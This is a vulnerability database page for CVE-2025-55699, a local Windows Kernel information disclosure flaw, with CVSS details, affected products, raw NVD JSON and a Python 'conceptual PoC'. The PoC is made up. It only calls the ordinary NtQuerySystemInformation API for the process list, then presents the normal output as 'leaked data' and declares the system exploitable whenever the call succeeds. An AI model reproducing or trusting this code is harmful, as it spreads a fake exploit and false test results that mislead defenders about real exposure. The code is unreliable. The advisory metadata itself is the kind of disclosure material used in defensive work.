Security Vulnerability Report
中文
CVE-2025-55699 CVSS 5.5 MEDIUM

CVE-2025-55699

Published: 2025-10-14 17:15:52
Last Modified: 2025-10-31 16:21:23

Description

Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Windows 10(各版本)
Windows 11(各版本)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55699 Windows Kernel Information Disclosure PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach for the vulnerability. # The actual exploitation requires specific knowledge of the affected kernel API. import ctypes import ctypes.wintypes as wt import struct import sys # Windows API constants GENERIC_READ = 0x80000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 def exploit_kernel_info_disclosure(): """ Conceptual PoC for CVE-2025-55699 Exploits Windows Kernel information disclosure vulnerability to read sensitive system information. """ print("[*] CVE-2025-55699 Windows Kernel Information Disclosure PoC") print("[*] Attempting to trigger kernel info disclosure...\n") # Step 1: Load necessary Windows DLLs try: kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll except Exception as e: print(f"[-] Failed to load Windows DLLs: {e}") return False # Step 2: Trigger vulnerable kernel code path # The vulnerability exists in how the kernel handles certain # system calls that expose sensitive information to # unauthorized actors with low privileges. # Allocate buffer to receive leaked information buffer_size = 4096 info_buffer = ctypes.create_string_buffer(buffer_size) bytes_returned = wt.DWORD(0) # Step 3: Call the vulnerable kernel interface # Note: The actual API call depends on the specific vulnerable component # This is a conceptual representation of the exploitation technique print("[*] Querying vulnerable kernel interface...") # Simulate the vulnerable operation # In a real exploit, this would invoke the specific vulnerable # NtQuerySystemInformation or similar kernel API that leaks data try: # Example: Query system information that may contain leaked data # The actual vulnerable function would be identified through # reverse engineering of the affected Windows component status = ntdll.NtQuerySystemInformation( 0x05, # SystemProcessInformation class info_buffer, buffer_size, ctypes.byref(bytes_returned) ) if status == 0: # STATUS_SUCCESS print(f"[+] Kernel information retrieved: {bytes_returned.value} bytes") print("[+] Sensitive data may have been disclosed") # Parse and display leaked information leaked_data = info_buffer.raw[:bytes_returned.value] print(f"[+] Leaked data preview (hex): {leaked_data[:64].hex()}") return True else: print(f"[-] Query failed with status: 0x{status:08X}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-55699 - Windows Kernel Info Disclosure PoC") print("CVSS 3.1: 5.5 (MEDIUM)") print("Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N") print("=" * 60) print() # Check if running with sufficient privileges import os if os.name != 'nt': print("[-] This PoC requires Windows OS") sys.exit(1) success = exploit_kernel_info_disclosure() if success: print("\n[!] Vulnerability appears to be exploitable") print("[!] Recommend applying Microsoft security update immediately") else: print("\n[*] Could not confirm exploitability") print("[*] System may already be patched") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55699", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:51.850", "lastModified": "2025-10-31T16:21:23.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55699", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}